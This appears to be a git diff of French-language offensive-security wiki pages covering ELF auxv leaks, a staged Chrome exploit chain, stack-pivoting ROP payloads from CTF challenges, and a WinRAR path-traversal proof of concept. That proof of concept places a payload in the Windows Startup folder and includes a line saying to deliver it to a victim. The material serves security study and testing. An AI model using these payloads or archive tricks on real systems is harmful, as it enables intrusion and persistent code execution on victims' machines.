Lorsque cela est utilisé, les sections **`.tdata`** et **`.tbss`** sont utilisées dans l'ELF. Qui sont comme `.data` (initialisé) et `.bss` (non initialisé) mais pour TLS.
Chaque variable aura une entrée dans l'en-tête TLS spécifiant la taille et l'offset TLS, qui est l'offset qu'elle utilisera dans la zone de données locale du fil.
Chaque variable aura une entrée dans l'en-tête TLS spécifiant la taille et l'offset TLS, qui est l'offset qu'elle utilisera dans la zone de données locales du thread.
Le `__TLS_MODULE_BASE` est un symbole utilisé pour faire référence à l'adresse de base du stockage local par fil et pointe vers la zone en mémoire qui contient toutes les données locales par fil d'un module.
Le `__TLS_MODULE_BASE` est un symbole utilisé pour faire référence à l'adresse de base du stockage local par thread et pointe vers la zone en mémoire qui contient toutes les données locales au thread d'un module.
## Vecteur auxiliaire (auxv) et vDSO
Le noyau Linux passe un vecteur auxiliaire aux processus contenant des adresses et des drapeaux utiles pour l'exécution :
- `AT_RANDOM` : pointe vers 16 octets aléatoires utilisés par glibc pour le canari de pile et d'autres graines PRNG.
- `AT_SYSINFO_EHDR` : adresse de base du mappage vDSO (pratique pour trouver les appels système `__kernel_*` et les gadgets).
- `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, etc.
En tant qu'attaquant, si vous pouvez lire la mémoire ou des fichiers sous `/proc`, vous pouvez souvent les divulguer sans une fuite d'informations dans le processus cible :
```bash
# Show the auxv of a running process
cat /proc/$(pidof target)/auxv | xxd
# From your own process (helper snippet)
#include <sys/auxv.h>
#include <stdio.h>
int main(){
printf("AT_RANDOM=%p\n", (void*)getauxval(AT_RANDOM));
printf("AT_SYSINFO_EHDR=%p\n", (void*)getauxval(AT_SYSINFO_EHDR));
}
```
Fuite de `AT_RANDOM` vous donne la valeur du canari si vous pouvez déréférencer ce pointeur ; `AT_SYSINFO_EHDR` vous donne une base vDSO à exploiter pour des gadgets ou pour appeler directement des syscalls rapides.
## Références
- ld.so(8) – Ordre de recherche du chargeur dynamique, RPATH/RUNPATH, règles d'exécution sécurisée (AT_SECURE) : https://man7.org/linux/man-pages/man8/ld.so.8.html
- getauxval(3) – Vecteur auxiliaire et constantes AT_* : https://man7.org/linux/man-pages/man3/getauxval.3.html
{{#include ../../banners/hacktricks-training.md}}

170
src/binary-exploitation/chrome-exploiting.md Normal file
View File

@ -0,0 +1,170 @@
# Chrome Exploiting
{{#include ../banners/hacktricks-training.md}}
> Cette page fournit un aperçu de haut niveau mais **pratique** d'un flux de travail d'exploitation "full-chain" moderne contre Google Chrome 130 basé sur la série de recherches **“101 Chrome Exploitation”** (Partie-0 — Préface).
> L'objectif est de donner aux pentesters et aux développeurs d'exploits le minimum de connaissances nécessaires pour reproduire ou adapter les techniques à leurs propres recherches.
## 1. Récapitulatif de l'architecture de Chrome
Comprendre la surface d'attaque nécessite de savoir où le code est exécuté et quels sandboxes s'appliquent.
```
+-------------------------------------------------------------------------+
| Chrome Browser |
| |
| +----------------------------+ +-----------------------------+ |
| | Renderer Process | | Browser/main Process | |
| | [No direct OS access] | | [OS access] | |
| | +----------------------+ | | | |
| | | V8 Sandbox | | | | |
| | | [JavaScript / Wasm] | | | | |
| | +----------------------+ | | | |
| +----------------------------+ +-----------------------------+ |
| | IPC/Mojo | |
| V | |
| +----------------------------+ | |
| | GPU Process | | |
| | [Restricted OS access] | | |
| +----------------------------+ | |
+-------------------------------------------------------------------------+
```
Layered defence-in-depth:
* **V8 sandbox** (Isolate) : les permissions mémoire sont restreintes pour empêcher la lecture/écriture arbitraire depuis JS / Wasm JITé.
* La séparation **Renderer ↔ Browser** est assurée via le passage de messages **Mojo/IPC** ; le renderer n'a *aucun* accès natif au FS/réseau.
* Les **OS sandboxes** contiennent davantage chaque processus (Niveaux d'intégrité Windows / `seccomp-bpf` / profils de sandbox macOS).
Un attaquant *à distance* a donc besoin de **trois** primitives successives :
1. Corruption de mémoire à l'intérieur de V8 pour obtenir **RW arbitraire à l'intérieur du tas V8**.
2. Un second bug permettant à l'attaquant de **s'échapper de la sandbox V8 vers la mémoire complète du renderer**.
3. Une dernière évasion de la sandbox (souvent logique plutôt que corruption de mémoire) pour exécuter du code **en dehors de la sandbox Chrome OS**.
---
## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)
Un défaut dans l'optimisation **Turboshaft** de TurboFan classe mal les **types de référence WasmGC** lorsque la valeur est produite et consommée à l'intérieur d'une *boucle de bloc de base unique*.
Effet :
* Le compilateur **ignore la vérification de type**, traitant une *référence* (`externref/anyref`) comme un *int64*.
* Wasm conçu permet de chevaucher un en-tête d'objet JS avec des données contrôlées par l'attaquant → <code>addrOf()</code> & <code>fakeObj()</code> **primitives AAW / AAR**.
Minimal PoC (extrait) :
```WebAssembly
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
```
Optimisation des déclencheurs et objets de spray à partir de JS :
```js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
// primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
```
Outcome: **lecture/écriture arbitraire dans V8**.
---
## 3. Étape 2 – Évasion du bac à sable V8 (problème 379140430)
Lorsqu'une fonction Wasm est compilée en mode tier-up, un **wrapper JS ↔ Wasm** est généré. Un bogue de non-correspondance de signature fait que le wrapper écrit au-delà de la fin d'un objet **`Tuple2`** de confiance lorsque la fonction Wasm est réoptimisée *tout en étant sur la pile*.
Écraser les 2 champs de 64 bits de l'objet `Tuple2` permet **lecture/écriture à n'importe quelle adresse à l'intérieur du processus Renderer**, contournant ainsi efficacement le bac à sable V8.
Étapes clés de l'exploitation :
1. Mettre la fonction dans l'état **Tier-Up** en alternant le code turbofan/baseline.
2. Déclencher le tier-up tout en gardant une référence sur la pile (`Function.prototype.apply`).
3. Utiliser AAR/AAW de l'Étape-1 pour trouver et corrompre le `Tuple2` adjacent.
Identification du wrapper :
```js
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
wrapperGen(0x1337n);
```
Après corruption, nous possédons une **primitive R/W de rendu** entièrement fonctionnelle.
---
## 4. Étape 3 – Évasion du bac à sable OS depuis le Renderer (CVE-2024-11114)
L'interface IPC **Mojo** `blink.mojom.DragService.startDragging()` peut être appelée depuis le Renderer avec des paramètres *partiellement fiables*. En créant une structure `DragData` pointant vers un **chemin de fichier arbitraire**, le renderer convainc le navigateur d'effectuer un **glisser-déposer** *natif* **en dehors du bac à sable du renderer**.
En abusant de cela, nous pouvons "glisser" de manière programmatique un EXE malveillant (préalablement déposé dans un emplacement accessible en écriture) sur le Bureau, où Windows exécute automatiquement certains types de fichiers une fois déposés.
Exemple (simplifié) :
```js
const payloadPath = "C:\\Users\\Public\\explorer.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
```
Aucune corruption de mémoire supplémentaire n'est nécessaire – le **flaw logique** nous permet d'exécuter des fichiers arbitraires avec les privilèges de l'utilisateur.
---
## 5. Flux de chaîne complet
1. **L'utilisateur visite** une page web malveillante.
2. **Étape 1** : Le module Wasm abuse de CVE-2025-0291 → Tas V8 AAR/AAW.
3. **Étape 2** : Le décalage du wrapper corrompt `Tuple2` → échapper au bac à sable V8.
4. **Étape 3** : `startDragging()` IPC → échapper au bac à sable OS & exécuter le payload.
Résultat : **Exécution de code à distance (RCE)** sur l'hôte (Chrome 130, Windows/Linux/macOS).
---
## 6. Configuration du laboratoire et débogage
```bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1
# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
```
Drapeaux utiles lors du lancement d'une build *development* de Chrome :
```bash
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
```
---
## Takeaways
* **Les bugs JIT WebAssembly** restent un point d'entrée fiable – le système de types est encore jeune.
* Obtenir un deuxième bug de corruption de mémoire à l'intérieur de V8 (par exemple, un décalage de wrapper) simplifie grandement **l'évasion du sandbox V8**.
* Les faiblesses au niveau logique dans les interfaces IPC Mojo privilégiées sont souvent suffisantes pour une **évasion finale du sandbox** – gardez un œil sur les bugs *non-mémoire*.
## References
* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
* [Chromium security architecture](https://chromium.org/developers/design-documents/security)
{{#include ../banners/hacktricks-training.md}}

161
src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
View File

@ -4,57 +4,61 @@
## Informations de base
Cette technique exploite la capacité à manipuler le **Base Pointer (EBP)** pour enchaîner l'exécution de plusieurs fonctions grâce à une utilisation soigneuse du registre EBP et de la séquence d'instructions **`leave; ret`**.
Cette technique exploite la capacité à manipuler le **Base Pointer (EBP/RBP)** pour enchaîner l'exécution de plusieurs fonctions grâce à une utilisation soigneuse du pointeur de cadre et de la séquence d'instructions **`leave; ret`**.
Pour rappel, **`leave`** signifie essentiellement :
Pour rappel, sur x86/x86-64, **`leave`** est équivalent à :
```
mov ebp, esp
pop ebp
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
```
Et comme l'**EBP est dans la pile** avant l'EIP, il est possible de le contrôler en contrôlant la pile.
Et comme le **EBP/RBP sauvegardé est dans la pile** avant le EIP/RIP sauvegardé, il est possible de le contrôler en contrôlant la pile.
> Notes
> - Sur 64 bits, remplacez EBP→RBP et ESP→RSP. La sémantique est la même.
> - Certains compilateurs omettent le pointeur de cadre (voir “EBP pourrait ne pas être utilisé”). Dans ce cas, `leave` pourrait ne pas apparaître et cette technique ne fonctionnera pas.
### EBP2Ret
Cette technique est particulièrement utile lorsque vous pouvez **modifier le registre EBP mais n'avez aucun moyen direct de changer le registre EIP**. Elle exploite le comportement des fonctions lorsqu'elles terminent leur exécution.
Cette technique est particulièrement utile lorsque vous pouvez **modifier le EBP/RBP sauvegardé mais n'avez aucun moyen direct de changer EIP/RIP**. Elle exploite le comportement de l'épilogue de fonction.
Si, pendant l'exécution de `fvuln`, vous parvenez à injecter un **EBP factice** dans la pile qui pointe vers une zone de mémoire où l'adresse de votre shellcode est située (plus 4 octets pour tenir compte de l'opération `pop`), vous pouvez contrôler indirectement l'EIP. Lorsque `fvuln` retourne, l'ESP est réglé sur cet emplacement conçu, et l'opération `pop` suivante diminue l'ESP de 4, **le faisant effectivement pointer vers une adresse stockée par l'attaquant là-dedans.**\
Notez que vous **devez connaître 2 adresses** : celle vers laquelle l'ESP va aller, où vous devrez écrire l'adresse pointée par l'ESP.
Si, pendant l'exécution de `fvuln`, vous parvenez à injecter un **EBP factice** dans la pile qui pointe vers une zone de mémoire où se trouve l'adresse de votre shellcode/chaîne ROP (plus 8 octets sur amd64 / 4 octets sur x86 pour tenir compte du `pop`), vous pouvez contrôler indirectement RIP. Lorsque la fonction retourne, `leave` définit RSP à l'emplacement conçu et le `pop rbp` suivant diminue RSP, **le faisant pointer efficacement vers une adresse stockée par l'attaquant là-bas**. Ensuite, `ret` utilisera cette adresse.
Notez comment vous **devez connaître 2 adresses** : l'adresse où ESP/RSP va aller, et la valeur stockée à cette adresse que `ret` va consommer.
#### Construction de l'Exploit
Tout d'abord, vous devez connaître une **adresse où vous pouvez écrire des données / adresses arbitraires**. L'ESP pointera ici et **exécutera le premier `ret`**.
Tout d'abord, vous devez connaître une **adresse où vous pouvez écrire des données/adresses arbitraires**. RSP pointera ici et **consommera le premier `ret`**.
Ensuite, vous devez connaître l'adresse utilisée par `ret` qui **exécutera du code arbitraire**. Vous pourriez utiliser :
Ensuite, vous devez choisir l'adresse utilisée par `ret` qui **transférera l'exécution**. Vous pourriez utiliser :
- Une adresse valide [**ONE_GADGET**](https://github.com/david942j/one_gadget).
- L'adresse de **`system()`** suivie de **4 octets de junk** et de l'adresse de `"/bin/sh"` (x86 bits).
- L'adresse d'un gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) suivie du **shellcode** à exécuter.
- Une chaîne [**ROP**](../rop-return-oriented-programing/index.html)
- L'adresse de **`system()`** suivie du retour approprié et des arguments (sur x86 : cible `ret` = `&system`, puis 4 octets de junk, puis `&"/bin/sh"`).
- L'adresse d'un gadget **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) suivie de shellcode en ligne.
- Une chaîne [**ROP**](../rop-return-oriented-programing/index.html) mise en mémoire écrivable.
Rappelez-vous qu'avant l'une de ces adresses dans la partie contrôlée de la mémoire, il doit y avoir **`4` octets** à cause de la partie **`pop`** de l'instruction `leave`. Il serait possible d'abuser de ces 4B pour définir un **deuxième EBP factice** et continuer à contrôler l'exécution.
N'oubliez pas qu'avant l'une de ces adresses dans la zone contrôlée, il doit y avoir **de l'espace pour le `pop ebp/rbp`** de `leave` (8B sur amd64, 4B sur x86). Vous pouvez abuser de ces octets pour définir un **deuxième EBP factice** et garder le contrôle après le retour de la première appel.
#### Exploit Off-By-One
Il existe une variante spécifique de cette technique connue sous le nom d'"Off-By-One Exploit". Elle est utilisée lorsque vous pouvez **uniquement modifier l'octet le moins significatif de l'EBP**. Dans ce cas, l'emplacement mémoire stockant l'adresse à laquelle sauter avec le **`ret`** doit partager les trois premiers octets avec l'EBP, permettant une manipulation similaire avec des conditions plus contraignantes.\
En général, on modifie l'octet 0x00 pour sauter aussi loin que possible.
Il existe une variante utilisée lorsque vous pouvez **modifier uniquement le byte le moins significatif du EBP/RBP sauvegardé**. Dans ce cas, l'emplacement mémoire stockant l'adresse à laquelle sauter avec **`ret`** doit partager les trois/cinq premiers octets avec l'EBP/RBP original afin qu'un écrasement de 1 octet puisse le rediriger. En général, le byte bas (offset 0x00) est augmenté pour sauter aussi loin que possible dans une page/région alignée à proximité.
De plus, il est courant d'utiliser un RET sled dans la pile et de mettre la véritable chaîne ROP à la fin pour rendre plus probable que le nouvel ESP pointe à l'intérieur du RET SLED et que la chaîne ROP finale soit exécutée.
Il est également courant d'utiliser un RET sled dans la pile et de mettre la véritable chaîne ROP à la fin pour rendre plus probable que le nouveau RSP pointe à l'intérieur du sled et que la chaîne ROP finale soit exécutée.
### **Chaînage EBP**
### Chaînage EBP
Ainsi, en plaçant une adresse contrôlée dans l'entrée `EBP` de la pile et une adresse pour `leave; ret` dans `EIP`, il est possible de **déplacer l'`ESP` vers l'adresse `EBP` contrôlée depuis la pile**.
En plaçant une adresse contrôlée dans l'emplacement `EBP` sauvegardé de la pile et un gadget `leave; ret` dans `EIP/RIP`, il est possible de **déplacer `ESP/RSP` vers une adresse contrôlée par l'attaquant**.
Maintenant, l'**`ESP`** est contrôlé pointant vers une adresse désirée et la prochaine instruction à exécuter est un `RET`. Pour en abuser, il est possible de placer à l'emplacement ESP contrôlé ceci :
Maintenant, `RSP` est contrôlé et la prochaine instruction est `ret`. Placez dans la mémoire contrôlée quelque chose comme :
- **`&(next fake EBP)`** -> Charger le nouvel EBP à cause de `pop ebp` de l'instruction `leave`
- **`system()`** -> Appelé par `ret`
- **`&(leave;ret)`** -> Appelé après la fin de system, il déplacera l'ESP vers l'EBP factice et recommencera
- **`&("/bin/sh")`**-> Paramètre pour `system`
- `&(next fake EBP)` -> Chargé par `pop ebp/rbp` de `leave`.
- `&system()` -> Appelé par `ret`.
- `&(leave;ret)` -> Après la fin de `system`, déplace RSP vers le prochain EBP factice et continue.
- `&("/bin/sh")` -> Argument pour `system`.
Fondamentalement, de cette manière, il est possible de chaîner plusieurs EBP factices pour contrôler le flux du programme.
De cette manière, il est possible de chaîner plusieurs EBP factices pour contrôler le flux du programme.
C'est comme un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), mais plus complexe sans avantage apparent mais pourrait être intéressant dans certains cas limites.
C'est comme un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), mais plus complexe et utile uniquement dans des cas limites.
De plus, ici vous avez un [**exemple d'un défi**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) qui utilise cette technique avec une **fuite de pile** pour appeler une fonction gagnante. Voici la charge utile finale de la page :
```python
@ -72,7 +76,7 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
@ -81,23 +85,24 @@ POP_RSI_R15,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
> astuce d'alignement amd64 : le System V ABI nécessite un alignement de la pile sur 16 octets aux points d'appel. Si votre chaîne appelle des fonctions comme `system`, ajoutez un gadget d'alignement (par exemple, `ret`, ou `sub rsp, 8 ; ret`) avant l'appel pour maintenir l'alignement et éviter les plantages `movaps`.
## EBP pourrait ne pas être utilisé
Comme [**expliqué dans ce post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binaire est compilé avec certaines optimisations, le **EBP ne contrôle jamais l'ESP**, par conséquent, toute exploitation fonctionnant en contrôlant l'EBP échouera essentiellement car elle n'a pas d'effet réel.\
C'est parce que les **prologues et épilogues changent** si le binaire est optimisé.
Comme [**expliqué dans ce post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binaire est compilé avec certaines optimisations ou avec omission du pointeur de cadre, le **EBP/RBP ne contrôle jamais ESP/RSP**. Par conséquent, toute exploitation fonctionnant en contrôlant EBP/RBP échouera car le prologue/l'épilogue ne restaure pas à partir du pointeur de cadre.
- **Non optimisé :**
- Non optimisé / pointeur de cadre utilisé :
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **Optimisé :**
- Optimisé / pointeur de cadre omis :
```bash
push %ebx # save ebx
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
pop %ebx # restore
ret # return
```
Sur amd64, vous verrez souvent `pop rbp ; ret` au lieu de `leave ; ret`, mais si le pointeur de cadre est complètement omis, il n'y a pas d'épilogue basé sur `rbp` à pivoter.
## Autres façons de contrôler RSP
### **`pop rsp`** gadget
### Gadget `pop rsp`
[**Sur cette page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) vous pouvez trouver un exemple utilisant cette technique. Pour ce défi, il était nécessaire d'appeler une fonction avec 2 arguments spécifiques, et il y avait un **`pop rsp` gadget** et il y a une **leak de la pile** :
[**Dans cette page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) vous pouvez trouver un exemple utilisant cette technique. Pour ce défi, il était nécessaire d'appeler une fonction avec 2 arguments spécifiques, et il y avait un **gadget `pop rsp`** et il y a une **leak de la pile** :
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -167,7 +174,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
### xchg <reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
@ -181,14 +188,61 @@ Vérifiez la technique ret2esp ici :
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## Références et autres exemples
### Trouver rapidement des gadgets de pivot
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, exploitation off by one avec une chaîne rop commençant par un ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bits, pas de relro, canary, nx et pie. Le programme accorde une fuite pour la pile ou le pie et un WWW d'un qword. D'abord, obtenez la fuite de la pile et utilisez le WWW pour revenir et obtenir la fuite du pie. Ensuite, utilisez le WWW pour créer une boucle éternelle en abusant des entrées de `.fini_array` + en appelant `__libc_csu_fini` ([plus d'infos ici](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). En abusant de cette écriture "éternelle", une chaîne ROP est écrite dans le .bss et finit par l'appeler en pivotant avec RBP.
Utilisez votre outil de recherche de gadgets préféré pour rechercher des primitives de pivot classiques :
- `leave ; ret` sur des fonctions ou dans des bibliothèques
- `pop rsp` / `xchg rax, rsp ; ret`
- `add rsp, <imm> ; ret` (ou `add esp, <imm> ; ret` sur x86)
Exemples :
```bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
```
### Modèle de staging de pivot classique
Une stratégie de pivot robuste utilisée dans de nombreux CTF/exploits :
1) Utilisez un petit débordement initial pour appeler `read`/`recv` dans une grande région writable (par exemple, `.bss`, heap ou mémoire RW mappée) et placez-y une chaîne ROP complète.
2) Retournez dans un gadget de pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) pour déplacer RSP vers cette région.
3) Continuez avec la chaîne mise en scène (par exemple, leak libc, appeler `mprotect`, puis `read` shellcode, puis sautez vers celui-ci).
## Atténuations modernes qui brisent le pivot de pile (CET/Shadow Stack)
Les CPU et OS x86 modernes déploient de plus en plus **CET Shadow Stack (SHSTK)**. Avec SHSTK activé, `ret` compare l'adresse de retour sur la pile normale avec une pile d'ombre protégée par le matériel ; toute discordance déclenche une faute de protection de contrôle et tue le processus. Par conséquent, des techniques comme les pivots basés sur EBP2Ret/leave;ret planteront dès que le premier `ret` est exécuté à partir d'une pile pivotée.
- Pour des informations de base et des détails plus approfondis, voir :
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
- Vérifications rapides sur Linux :
```bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
```
- Notes pour les labs/CTF :
- Certaines distributions modernes activent SHSTK pour les binaires compatibles CET lorsque le matériel et glibc sont pris en charge. Pour des tests contrôlés dans des VM, SHSTK peut être désactivé à l'échelle du système via le paramètre de démarrage du noyau `nousershstk`, ou activé sélectivement via les réglages de glibc au démarrage (voir les références). Ne désactivez pas les atténuations sur les cibles de production.
- Les techniques basées sur JOP/COOP ou SROP pourraient encore être viables sur certaines cibles, mais SHSTK casse spécifiquement les pivots basés sur `ret`.
- Note Windows : Windows 10+ expose le mode utilisateur et Windows 11 ajoute la "Protection de pile appliquée par le matériel" en mode noyau, basée sur des piles d'ombre. Les processus compatibles CET empêchent le pivotement de pile/ROP à `ret` ; les développeurs optent pour via CETCOMPAT et des politiques connexes (voir référence).
## ARM64
@ -213,12 +267,23 @@ ret
```
> [!CAUTION]
> La façon de réaliser quelque chose de similaire à un pivot de pile dans ARM64 serait de pouvoir **contrôler le `SP`** (en contrôlant un registre dont la valeur est passée à `SP` ou parce que pour une raison quelconque `SP` prend son adresse de la pile et que nous avons un dépassement) et ensuite **abuser de l'épilogue** pour charger le registre **`x30`** à partir d'un **`SP`** contrôlé et **`RET`** vers celui-ci.
> La façon de réaliser quelque chose de similaire au pivotement de pile dans ARM64 serait de pouvoir **contrôler le `SP`** (en contrôlant un registre dont la valeur est passée à `SP` ou parce que pour une raison quelconque `SP` prend son adresse de la pile et que nous avons un débordement) et ensuite **abuser de l'épilogue** pour charger le registre **`x30`** à partir d'un **`SP`** contrôlé et **`RET`** vers celui-ci.
Aussi, sur la page suivante, vous pouvez voir l'équivalent de **Ret2esp en ARM64** :
Aussi, à la page suivante, vous pouvez voir l'équivalent de **Ret2esp dans ARM64** :
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## Références
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, exploitation off by one avec une chaîne rop commençant par un ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bits, pas de relro, canary, nx et pie. Le programme accorde une fuite pour la pile ou pie et un WWW d'un qword. D'abord, obtenez la fuite de la pile et utilisez le WWW pour revenir et obtenir la fuite de pie. Ensuite, utilisez le WWW pour créer une boucle éternelle en abusant des entrées de `.fini_array` + en appelant `__libc_csu_fini` ([plus d'infos ici](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). En abusant de cette écriture "éternelle", une chaîne ROP est écrite dans le .bss et finit par l'appeler en pivotant avec RBP.
- Documentation du noyau Linux : Technologie d'application de contrôle de flux (CET) Pile d'ombre — détails sur SHSTK, `nousershstk`, les indicateurs `/proc/$PID/status`, et activation via `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn : Protection de pile appliquée par le matériel en mode noyau (piles d'ombre CET sur Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}}

68
src/generic-hacking/archive-extraction-path-traversal.md Normal file
View File

@ -0,0 +1,68 @@
# Archive Extraction Path Traversal ("Zip-Slip" / WinRAR CVE-2025-8088)
{{#include ../banners/hacktricks-training.md}}
## Overview
De nombreux formats d'archive (ZIP, RAR, TAR, 7-ZIP, etc.) permettent à chaque entrée de porter son propre **chemin interne**. Lorsqu'un utilitaire d'extraction respecte aveuglément ce chemin, un nom de fichier conçu contenant `..` ou un **chemin absolu** (par exemple `C:\Windows\System32\`) sera écrit en dehors du répertoire choisi par l'utilisateur. Cette classe de vulnérabilité est largement connue sous le nom de *Zip-Slip* ou **extraction de chemin d'archive**.
Les conséquences vont de l'écrasement de fichiers arbitraires à l'atteinte directe de **l'exécution de code à distance (RCE)** en déposant un payload dans un emplacement **auto-exécutable** tel que le dossier *Démarrage* de Windows.
## Root Cause
1. L'attaquant crée une archive où un ou plusieurs en-têtes de fichiers contiennent :
* Séquences de traversée relatives (`..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe`)
* Chemins absolus (`C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe`)
2. La victime extrait l'archive avec un outil vulnérable qui fait confiance au chemin intégré au lieu de le nettoyer ou de forcer l'extraction sous le répertoire choisi.
3. Le fichier est écrit dans l'emplacement contrôlé par l'attaquant et exécuté/chargé la prochaine fois que le système ou l'utilisateur déclenche ce chemin.
## Real-World Example – WinRAR ≤ 7.12 (CVE-2025-8088)
WinRAR pour Windows (y compris le CLI `rar` / `unrar`, la DLL et la source portable) n'a pas réussi à valider les noms de fichiers lors de l'extraction. Une archive RAR malveillante contenant une entrée telle que :
```text
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
```
se retrouverait **en dehors** du répertoire de sortie sélectionné et à l'intérieur du dossier *Startup* de l'utilisateur. Après la connexion, Windows exécute automatiquement tout ce qui s'y trouve, offrant un RCE *persistant*.
### Création d'une archive PoC (Linux/Mac)
```bash
# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*
```
Options utilisées :
* `-ep` – stocker les chemins de fichiers exactement comme donnés (ne pas élaguer le `./` initial).
Livrer `evil.rar` à la victime et lui demander de l'extraire avec une version vulnérable de WinRAR.
### Exploitation observée dans la nature
ESET a signalé des campagnes de spear-phishing RomCom (Storm-0978/UNC2596) qui ont joint des archives RAR abusant de CVE-2025-8088 pour déployer des portes dérobées personnalisées et faciliter des opérations de ransomware.
## Conseils de détection
